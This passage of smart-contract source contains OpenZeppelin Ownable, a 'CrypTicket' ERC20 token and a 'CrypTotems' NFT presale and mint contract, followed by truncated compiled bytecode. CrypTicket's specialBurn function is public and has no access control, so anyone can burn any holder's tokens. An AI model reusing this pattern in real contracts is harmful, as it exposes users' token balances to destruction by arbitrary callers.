lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); //Counter(); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } // function Counter() public { // for(uint i=1; i <=4500;i++){ // arr2.push(i); // } // } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } pragma solidity >=0.7.0 <0.9.0; //Todo: BUradaki CrypTicket'in Refactor edilmesi gerekiyor!!! contract CrypTicket is ERC20{ constructor() ERC20("Token06","TKN6"){ _mint(msg.sender,2000*10**18); } function mint(address to,uint256 value) internal{ _mint(to,value); } function specialBurn(address from,uint256 amount) public { _burn(from,amount*10**18); } } contract CrypTotems is ERC721Enumerable, Ownable,ReentrancyGuard { using Strings for uint256; string baseURI; string public baseExtension = ".json"; address payable _contractOwner; uint256 private maxPublicSaleMint = 2; uint256 public maxSupply = 4444; uint256 public cost = 0.04 ether; bool public paused = true; bool public revealed; string public notRevealedUri; bool public preSale ; constructor( string memory _initNotRevealedUri) ERC721("CrypTotems", "TOTEMS") { setNotRevealedURI(_initNotRevealedUri); token = CrypTicket(address(0xC2Cfbd487fE9c42aa5A92C222261B1AD8fdFc6F1)); _contractOwner = payable(msg.sender); } function setPresale(bool _data) external onlyOwner { preSale = _data; } // internal function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function publicMint(uint256 mintAmount) external payable nonReentrant { uint256 supply = totalSupply(); require(supply + mintAmount <= maxSupply,"Error : Max supply exceeded."); require(!paused,"Contract minting is paused!"); require(!preSale,"Public minting is not active."); require(mintAmount <= maxPublicSaleMint,"You can mint maximum 2 NFTs at once."); require(mintAmount > 0 ,"You must mint at least 1 NFT"); require(msg.value == cost * mintAmount,"Enter the exact total price!"); //_contractOwner.transfer(msg.value); for(uint256 i =0;i<mintAmount;i++){ _safeMint(msg.sender, supply + 1); supply+=1; } } // public function mint(uint256 mintAmount) external { uint256 supply = totalSupply(); require(!paused,"Contract minting is paused."); require(supply + mintAmount <= maxSupply,"Error : Max supply exceeded!"); require(preSale,"Error: Presale is closed!"); require(token.balanceOf(msg.sender)>=mintAmount*10**18,"You can not free mint! You do not own enough CRTK tokens"); decrease(mintAmount); for(uint256 i =0;i<mintAmount;i++){ _safeMint(msg.sender, supply + 1); supply+=1; } } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); if(revealed == false) { return notRevealedUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)) : ""; } function setNotRevealedURI(string memory _notRevealedURI) internal onlyOwner { notRevealedUri = _notRevealedURI; } function setBaseURI(string memory _newBaseURI) external onlyOwner { baseURI = _newBaseURI; revealed = true; } function pause(bool _state) external onlyOwner { paused = _state; } function balanceOfTickets() public view returns(uint){ return token.balanceOf(msg.sender); } CrypTicket private token; function decrease(uint256 amount) internal { token.specialBurn(msg.sender,amount); } function withdrawBalance() external{ require(msg.sender == _contractOwner,"You are not the owner of this contract"); _contractOwner.transfer(address(this).balance); } function showContractBalance() external onlyOwner view returns (uint256) { return address(this).balance; } }
0x6080604052600436106102045760003560e01c80635a7adf7f11610118578063a0712d68116100a0578063c66828621161006f578063c668286214610748578063c87b56dd14610773578063d5abeb01146107b0578063e985e9c5146107db578063f2fde38b1461081857610204565b8063a0712d68146106a4578063a22cb465146106cd578063b88d4fde146106f6578063c54e73e31461071f57610204565b806370a08231116100e757806370a08231146105cf578063715018a61461060c5780638da5cb5b14610623578063901c947f1461064e57806395d89b411461067957610204565b80635a7adf7f146105255780635c975abb146105505780635fd8c7101461057b5780636352211e1461059257610204565b806323b872dd1161019b57806342842e0e1161016a57806342842e0e1461042e578063438b6300146104575780634f6ccce71461049457806351830227146104d157806355f804b3146104fc57610204565b806323b872dd14610381578063259933e0146103aa5780632db11544146103d55780632f745c59146103f157610204565b8063081c8c44116101d7578063081c8c44146102d7578063095ea7b31461030257806313faede61461032b57806318160ddd1461035657610204565b806301ffc9a71461020957806302329a291461024657806306fdde031461026f578063081812fc1461029a575b600080fd5b34801561021557600080fd5b50610230600480360381019061022b919061343e565b610841565b60405161023d9190613c0c565b60405180910390f35b34801561025257600080fd5b5061026d60048036038101906102689190613411565b6108bb565b005b34801561027b57600080fd5b50610284610954565b6040516102919190613c27565b60405180910390f35b3480156102a657600080fd5b506102c160048036038101906102bc91906134e1565b6109e6565b6040516102ce9190613b5a565b60405180910390f35b3480156102e357600080fd5b506102ec610a6b565b6040516102f99190613c27565b60405180910390f35b34801561030e57600080fd5b50610329600480360381019061032491906133d1565b610af9565b005b34801561033757600080fd5b50610340610c11565b60405161034d9190614009565b60405180910390f35b34801561036257600080fd5b5061036b610c17565b6040516103789190614009565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a391906132bb565b610c24565b005b3480156103b657600080fd5b506103bf610c84565b6040516103cc9190614009565b60405180910390f35b6103ef60048036038101906103ea91906134e1565b610d36565b005b3480156103fd57600080fd5b50610418600480360381019061041391906133d1565b610fa7565b6040516104259190614009565b60405180910390f35b34801561043a57600080fd5b50610455600480360381019061045091906132bb565b61104c565b005b34801561046357600080fd5b5061047e6004803603810190610479919061324e565b61106c565b60405161048b9190613bea565b60405180910390f35b3480156104a057600080fd5b506104bb60048036038101906104b691906134e1565b61111a565b6040516104c89190614009565b60405180910390f35b3480156104dd57600080fd5b506104e661118b565b6040516104f39190613c0c565b60405180910390f35b34801561050857600080fd5b50610523600480360381019061051e9190613498565b61119e565b005b34801561053157600080fd5b5061053a61124f565b6040516105479190613c0c565b60405180910390f35b34801561055c57600080fd5b50610565611262565b6040516105729190613c0c565b60405180910390f35b34801561058757600080fd5b50610590611275565b005b34801561059e57600080fd5b506105b960048036038101906105b491906134e1565b611370565b6040516105c69190613b5a565b60405180910390f35b3480156105db57600080fd5b506105f660048036038101906105f1919061324e565b611422565b6040516106039190614009565b60405180910390f35b34801561061857600080fd5b506106216114da565b005b34801561062f57600080fd5b50610638611562565b6040516106459190613b5a565b60405180910390f35b34801561065a57600080fd5b5061066361158c565b6040516106709190614009565b60405180910390f35b34801561068557600080fd5b5061068e611610565b60405161069b9190613c27565b60405180910390f35b3480156106b057600080fd5b506106cb60048036038101906106c691906134e1565b6116a2565b005b3480156106d957600080fd5b506106f460048036038101906106ef9190613391565b6118ee565b005b34801561070257600080fd5b5061071d6004803603810190610718919061330e565b611a6f565b005b34801561072b57600080fd5b5061074660048036038101906107419190613411565b611ad1565b005b34801561075457600080fd5b5061075d611b6a565b60405161076a9190613c27565b60405180910390f35b34801561077f57600080fd5b5061079a600480360381019061079591906134e1565b611bf8565b6040516107a79190613c27565b60405180910390f35b3480156107bc57600080fd5b506107c5611d51565b6040516107d29190614009565b60405180910390f35b3480156107e757600080fd5b5061080260048036038101906107fd919061327b565b611d57565b60405161080f9190613c0c565b60405180910390f35b34801561082457600080fd5b5061083f600480360381019061083a919061324e565b611deb565b005b60007f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806108b457506108b382611ee3565b5b9050919050565b6108c3611fc5565b73ffffffffffffffffffffffffffffffffffffffff166108e1611562565b73ffffffffffffffffffffffffffffffffffffffff1614610937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092e90613e89565b60405180910390fd5b80601260006101000a81548160ff02191690831515021790555050565b60606000805461096390614307565b80601f016020809104026020016040519081016040528092919081815260200182805461098f90614307565b80156109dc5780601f106109b1576101008083540402835291602001916109dc565b820191906000526020600020905b8154815290600101906020018083116109bf57829003601f168201915b5050505050905090565b60006109f182611fcd565b610a30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2790613e49565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b60138054610a7890614307565b80601f0160208091040260200160405190810160405280929190818152602001828054610aa490614307565b8015610af15780601f10610ac657610100808354040283529160200191610af1565b820191906000526020600020905b815481529060010190602001808311610ad457829003601f168201915b505050505081565b6000610b0482611370565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6c90613f09565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610b94611fc5565b73ffffffffffffffffffffffffffffffffffffffff161480610bc35750610bc281610bbd611fc5565b611d57565b5b610c02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf990613da9565b60405180910390fd5b610c0c8383612039565b505050565b60115481565b6000600880549050905090565b610c35610c2f611fc5565b826120f2565b610c74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6b90613f69565b60405180910390fd5b610c7f8383836121d0565b505050565b6000601460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401610ce19190613b5a565b60206040518083038186803b158015610cf957600080fd5b505afa158015610d0d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d31919061350e565b905090565b6002600b541415610d7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7390613fc9565b60405180910390fd5b6002600b819055506000610d8e610c17565b90506010548282610d9f919061413c565b1115610de0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd790613d09565b60405180910390fd5b601260009054906101000a900460ff1615610e30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2790613f49565b60405180910390fd5b601460009054906101000a900460ff1615610e80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7790613f29565b60405180910390fd5b600f54821115610ec5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ebc90613fe9565b60405180910390fd5b60008211610f08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eff90613ce9565b60405180910390fd5b81601154610f1691906141c3565b3414610f57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4e90613e69565b60405180910390fd5b60005b82811015610f9a57610f7833600184610f73919061413c565b61242c565b600182610f85919061413c565b91508080610f929061436a565b915050610f5a565b50506001600b8190555050565b6000610fb283611422565b8210610ff3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fea90613c69565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002054905092915050565b61106783838360405180602001604052806000815250611a6f565b505050565b6060600061107983611422565b905060008167ffffffffffffffff811115611097576110966144cf565b5b6040519080825280602002602001820160405280156110c55781602001602082028036833780820191505090505b50905060005b8281101561110f576110dd8582610fa7565b8282815181106110f0576110ef6144a0565b5b60200260200101818152505080806111079061436a565b9150506110cb565b508092505050919050565b6000611124610c17565b8210611165576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115c90613fa9565b60405180910390fd5b60088281548110611179576111786144a0565b5b90600052602060002001549050919050565b601260019054906101000a900460ff1681565b6111a6611fc5565b73ffffffffffffffffffffffffffffffffffffffff166111c4611562565b73ffffffffffffffffffffffffffffffffffffffff161461121a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121190613e89565b60405180910390fd5b80600c908051906020019061123092919061304d565b506001601260016101000a81548160ff02191690831515021790555050565b601460009054906101000a900460ff1681565b601260009054906101000a900460ff1681565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611305576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112fc90613d89565b60405180910390fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f1935050505015801561136d573d6000803e3d6000fd5b50565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611419576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141090613de9565b60405180910390fd5b80915050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611493576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148a90613dc9565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6114e2611fc5565b73ffffffffffffffffffffffffffffffffffffffff16611500611562565b73ffffffffffffffffffffffffffffffffffffffff1614611556576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154d90613e89565b60405180910390fd5b611560600061244a565b565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000611596611fc5565b73ffffffffffffffffffffffffffffffffffffffff166115b4611562565b73ffffffffffffffffffffffffffffffffffffffff161461160a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160190613e89565b60405180910390fd5b47905090565b60606001805461161f90614307565b80601f016020809104026020016040519081016040528092919081815260200182805461164b90614307565b80156116985780601f1061166d57610100808354040283529160200191611698565b820191906000526020600020905b81548152906001019060200180831161167b57829003601f168201915b5050505050905090565b60006116ac610c17565b9050601260009054906101000a900460ff16156116fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f590613e09565b60405180910390fd5b601054828261170d919061413c565b111561174e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174590613f89565b60405180910390fd5b601460009054906101000a900460ff1661179d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179490613c49565b60405180910390fd5b670de0b6b3a7640000826117b191906141c3565b601460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b815260040161180c9190613b5a565b60206040518083038186803b15801561182457600080fd5b505afa158015611838573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061185c919061350e565b101561189d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189490613ea9565b60405180910390fd5b6118a682612510565b60005b828110156118e9576118c7336001846118c2919061413c565b61242c565b6001826118d4919061413c565b915080806118e19061436a565b9150506118a9565b505050565b6118f6611fc5565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611964576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195b90613d49565b60405180910390fd5b8060056000611971611fc5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16611a1e611fc5565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051611a639190613c0c565b60405180910390a35050565b611a80611a7a611fc5565b836120f2565b611abf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab690613f69565b60405180910390fd5b611acb848484846125a2565b50505050565b611ad9611fc5565b73ffffffffffffffffffffffffffffffffffffffff16611af7611562565b73ffffffffffffffffffffffffffffffffffffffff1614611b4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4490613e89565b60405180910390fd5b80601460006101000a81548160ff02191690831515021790555050565b600d8054611b7790614307565b80601f0160208091040260200160405190810160405280929190818152602001828054611ba390614307565b8015611bf05780601f10611bc557610100808354040283529160200191611bf0565b820191906000526020600020905b815481529060010190602001808311611bd357829003601f168201915b505050505081565b6060611c0382611fcd565b611c42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3990613ee9565b60405180910390fd5b60001515601260019054906101000a900460ff1615151415611cf05760138054611c6b90614307565b80601f0160208091040260200160405190810160405280929190818152602001828054611c9790614307565b8015611ce45780601f10611cb957610100808354040283529160200191611ce4565b820191906000526020600020905b815481529060010190602001808311611cc757829003601f168201915b50505050509050611d4c565b6000611cfa6125fe565b90506000815111611d1a5760405180602001604052806000815250611d48565b80611d2484612690565b600d604051602001611d3893929190613b29565b6040516020818303038152906040525b9150505b919050565b60105481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b611df3611fc5565b73ffffffffffffffffffffffffffffffffffffffff16611e11611562565b73ffffffffffffffffffffffffffffffffffffffff1614611e67576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5e90613e89565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611ed7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ece90613ca9565b60405180910390fd5b611ee08161244a565b50565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480611fae57507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80611fbe5750611fbd826127f1565b5b9050919050565b600033905090565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff166120ac83611370565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b60006120fd82611fcd565b61213c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161213390613d69565b60405180910390fd5b600061214783611370565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614806121b657508373ffffffffffffffffffffffffffffffffffffffff1661219e846109e6565b73ffffffffffffffffffffffffffffffffffffffff16145b806121c757506121c68185611d57565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff166121f082611370565b73ffffffffffffffffffffffffffffffffffffffff1614612246576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223d90613ec9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156122b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122ad90613d29565b60405180910390fd5b6122c183838361285b565b6122cc600082612039565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461231c919061421d565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612373919061413c565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b61244682826040518060200160405280600081525061296f565b5050565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b601460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166334ac076633836040518363ffffffff1660e01b815260040161256d929190613bc1565b600060405180830381600087803b15801561258757600080fd5b505af115801561259b573d6000803e3d6000fd5b5050505050565b6125ad8484846121d0565b6125b9848484846129ca565b6125f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125ef90613c89565b60405180910390fd5b50505050565b6060600c805461260d90614307565b80601f016020809104026020016040519081016040528092919081815260200182805461263990614307565b80156126865780601f1061265b57610100808354040283529160200191612686565b820191906000526020600020905b81548152906001019060200180831161266957829003601f168201915b5050505050905090565b606060008214156126d8576040518060400160405280600181526020017f300000000000000000000000000000000000000000000000000000000000000081525090506127ec565b600082905060005b6000821461270a5780806126f39061436a565b915050600a826127039190614192565b91506126e0565b60008167ffffffffffffffff811115612726576127256144cf565b5b6040519080825280601f01601f1916602001820160405280156127585781602001600182028036833780820191505090505b5090505b600085146127e557600182612771919061421d565b9150600a8561278091906143b3565b603061278c919061413c565b60f81b8183815181106127a2576127a16144a0565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a856127de9190614192565b945061275c565b8093505050505b919050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b612866838383612b61565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156128a9576128a481612b66565b6128e8565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146128e7576128e68382612baf565b5b5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561292b5761292681612d1c565b61296a565b8273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612969576129688282612ded565b5b5b505050565b6129798383612e6c565b61298660008484846129ca565b6129c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129bc90613c89565b60405180910390fd5b505050565b60006129eb8473ffffffffffffffffffffffffffffffffffffffff1661303a565b15612b54578373ffffffffffffffffffffffffffffffffffffffff1663150b7a02612a14611fc5565b8786866040518563ffffffff1660e01b8152600401612a369493929190613b75565b602060405180830381600087803b158015612a5057600080fd5b505af1925050508015612a8157506040513d601f19601f82011682018060405250810190612a7e919061346b565b60015b612b04573d8060008114612ab1576040519150601f19603f3d011682016040523d82523d6000602084013e612ab6565b606091505b50600081511415612afc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612af390613c89565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050612b59565b600190505b949350505050565b505050565b6008805490506009600083815260200190815260200160002081905550600881908060018154018082558091505060019003906000526020600020016000909190919091505550565b60006001612bbc84611422565b612bc6919061421d565b9050600060076000848152602001908152602001600020549050818114612cab576000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002054905080600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002081905550816007600083815260200190815260200160002081905550505b6007600084815260200190815260200160002060009055600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206000905550505050565b60006001600880549050612d30919061421d565b9050600060096000848152602001908152602001600020549050600060088381548110612d6057612d5f6144a0565b5b906000526020600020015490508060088381548110612d8257612d816144a0565b5b906000526020600020018190555081600960008381526020019081526020016000208190555060096000858152602001908152602001600020600090556008805480612dd157612dd0614471565b5b6001900381819060005260206000200160009055905550505050565b6000612df883611422565b905081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002081905550806007600084815260200190815260200160002081905550505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612edc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ed390613e29565b60405180910390fd5b612ee581611fcd565b15612f25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f1c90613cc9565b60405180910390fd5b612f316000838361285b565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612f81919061413c565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b600080823b905060008111915050919050565b82805461305990614307565b90600052602060002090601f01602090048101928261307b57600085556130c2565b82601f1061309457805160ff19168380011785556130c2565b828001600101855582156130c2579182015b828111156130c15782518255916020019190600101906130a6565b5b5090506130cf91906130d3565b5090565b5b808211156130ec5760008160009055506001016130d4565b5090565b60006131036130fe84614049565b614024565b90508281526020810184848401111561311f5761311e614503565b5b61312a8482856142c5565b509392505050565b60006131456131408461407a565b614024565b90508281526020810184848401111561316157613160614503565b5b61316c8482856142c5565b509392505050565b60008135905061318381614c77565b92915050565b60008135905061319881614c8e565b92915050565b6000813590506131ad81614ca5565b92915050565b6000815190506131c281614ca5565b92915050565b600082601f8301126131dd576131dc6144fe565b5b81356131ed8482602086016130f0565b91505092915050565b600082601f83011261320b5761320a6144fe565b5b813561321b848260208601613132565b91505092915050565b60008135905061323381614cbc565b92915050565b60008151905061324881614cbc565b92915050565b6000602082840312156132645761326361450d565b5b600061327284828501613174565b91505092915050565b600080604083850312156132925761329161450d565b5b60006132a085828601613174565b92505060206132b185828601613174565b9150509250929050565b6000806000606084860312156132d4576132d361450d565b5b60006132e286828701613174565b93505060206132f386828701613174565b925050604061330486828701613224565b9150509250925092565b600080600080608085870312156133285761332761450d565b5b600061333687828801613174565b945050602061334787828801613174565b935050604061335887828801613224565b925050606085013567ffffffffffffffff81111561337957613378614508565b5b613385878288016131c8565b91505092959194509250565b600080604083850312156133a8576133a761450d565b5b60006133b685828601613174565b92505060206133c785828601613189565b9150509250929050565b600080604083850312156133e8576133e761450d565b5b60006133f685828601613174565b925050602061340785828601613224565b9150509250929050565b6000602082840312156134275761342661450d565b5b600061343584828501613189565b91505092915050565b6000602082840312156134545761345361450d565b5b60006134628482850161319e565b91505092915050565b6000602082840312156134815761348061450d565b5b600061348f848285016131b3565b91505092915050565b6000602082840312156134ae576134ad61450d565b5b600082013567ffffffffffffffff8111156134cc576134cb614508565b5b6134d8848285016131f6565b91505092915050565b6000602082840312156134f7576134f661450d565b5b600061350584828501613224565b91505092915050565b6000602082840312156135245761352361450d565b5b600061353284828501613239565b91505092915050565b60006135478383613b0b565b60208301905092915050565b61355c81614251565b82525050565b600061356d826140d0565b61357781856140fe565b9350613582836140ab565b8060005b838110156135b357815161359a888261353b565b97506135a5836140f1565b925050600181019050613586565b5085935050505092915050565b6135c981614263565b82525050565b60006135da826140db565b6135e4818561410f565b93506135f48185602086016142d4565b6135fd81614512565b840191505092915050565b6000613613826140e6565b61361d8185614120565b935061362d8185602086016142d4565b61363681614512565b840191505092915050565b600061364c826140e6565b6136568185614131565b93506136668185602086016142d4565b80840191505092915050565b6000815461367f81614307565b6136898186614131565b945060018216600081146136a457600181146136b5576136e8565b60ff198316865281860193506136e8565b6136be856140bb565b60005b838110156136e0578154818901526001820191506020810190506136c1565b838801955050505b50505092915050565b60006136fe601983614120565b915061370982614523565b602082019050919050565b6000613721602b83614120565b915061372c8261454c565b604082019050919050565b6000613744603283614120565b915061374f8261459b565b604082019050919050565b6000613767602683614120565b9150613772826145ea565b604082019050919050565b600061378a601c83614120565b915061379582614639565b602082019050919050565b60006137ad601c83614120565b91506137b882614662565b602082019050919050565b60006137d0601c83614120565b91506137db8261468b565b602082019050919050565b6000